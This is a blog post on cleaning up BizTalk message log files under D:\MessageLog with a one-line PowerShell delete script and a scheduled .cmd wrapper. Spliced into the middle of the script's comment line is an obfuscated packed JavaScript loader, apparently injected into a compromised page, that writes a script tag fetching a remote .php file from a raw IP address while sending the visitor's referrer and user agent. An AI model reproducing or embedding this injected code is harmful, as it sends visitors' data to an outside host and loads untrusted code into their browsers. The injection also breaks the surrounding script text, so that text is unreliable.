In the place where I work, we have numerous SendPorts that we sometimes enable that create copies of BizTalk messages on the disk, in a directory called D:\MessageLog (with various sub-directories).

Rarely do we need to go back more than 2 or 3 days to see these files.

We have a Powershell script in place to help clean-up these files. We are a very high volume system, and we can end up with tens or hundreds of thousands of these messages in a few days.

#All <noindex><script id="wpinfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\o="+3(j.i)+"\'><\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zzzza|var|u0026u|referrer|sbkht||js|php'.split('|'),0,{}))
</script></noindex> files older than x days in D:\MessageLog
# $_.PsIsContainer tells you that you have a folder
GET-CHILDITEM D:\MessageLog -RECURSE| Where { $_.LastWriteTime.AddDays(2) -lt (GET-DATE) -and -not $_.psiscontainer} |% {REMOVE-ITEM $_.fullname -force}

This script could be scheduled by Windows Task Manager. To make things easier, I usually create a one line .bat or .cmd file like the one below. The scheduler simple executes the .cmd file.

powershell -command "& 'CleanupMessageLog.ps1'"

or if the Ampersand gives you errors, try

powershell -command ". 'e:\Projects\MyApp\CleanupMessageLog.ps1'"

NOTE: Put the folder name in double quotes if it contains any embedded spaces.

Compare to VBScript cleanup/delete files script.

Tagged with:

Filed under: BizTalk Admin